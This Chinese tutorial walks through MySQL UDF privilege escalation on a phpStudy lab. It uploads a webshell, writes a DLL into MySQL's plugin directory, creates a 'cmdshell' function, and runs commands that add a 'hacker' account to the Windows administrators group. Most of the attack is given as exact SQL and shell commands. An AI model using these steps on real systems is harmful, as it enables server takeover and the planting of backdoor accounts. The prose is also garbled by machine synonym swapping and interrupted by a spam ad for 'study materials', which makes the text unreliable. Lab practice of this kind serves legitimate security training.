• UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(个中包括了实行系统命令的函数)
提权条件:1、MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些分外的功能
2、节制mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数

3、拥有可以将udf.dll写入相应目录的权限。
1、环境准备1)将phpstudy中的做事变为系统做事【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回答“领取”获取——】
1.网络安全多个方向学习路线
2.全网最全的CTF入门学习资料
3.一线大佬实战履历分享条记
4.网安大厂口试题合集
5.红蓝对抗实战技能秘籍
6.网络安全根本入门、Linux、web安全、渗透测试方面视频
2)将apache降权为普通用户创建普通用户
选择普通用户登录
3)将apache用户授予phpstudy目录的读写权限重启apache做事
4)修正mysql配置文件,并重启mysql做事修正mysql配置文件
重启mysql做事
2、访问网站目录,上传木马文件3、连接蚁剑连接蚁剑
4、打开虚拟终端打开虚拟终端
5、查看当前用户查看当前用户
6、进入数据库操作连接数据库
连接成功
7、查看数据库版本select version();
查看数据库版本
8、查看mysql导出路径show variables like "%plugin%";
查看mysql导出路径
9、选择test库,创建一个表create table my_udf_data(data longblob);
创建一个表
10、插入数据insert into my_udf_data values(0x4d5a........); //内容过长
插入数据
11、写入dll文件select data from my_udf_data into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\myudf.dll';
把稳:如果没有plugin目录,需自己创建
写入dll文件
12、创建自定义函数create function cmdshell returns string soname "myudf.dll";
创建自定义函数
13、查看当前用户select cmdshell('whoami');
查看当前用户
14、添加新用户select cmdshell('net user hacker admin@123 /add');
添加新用户
15、将新用户添加到管理员组select cmdshell('net localgroup administrators hacker /add');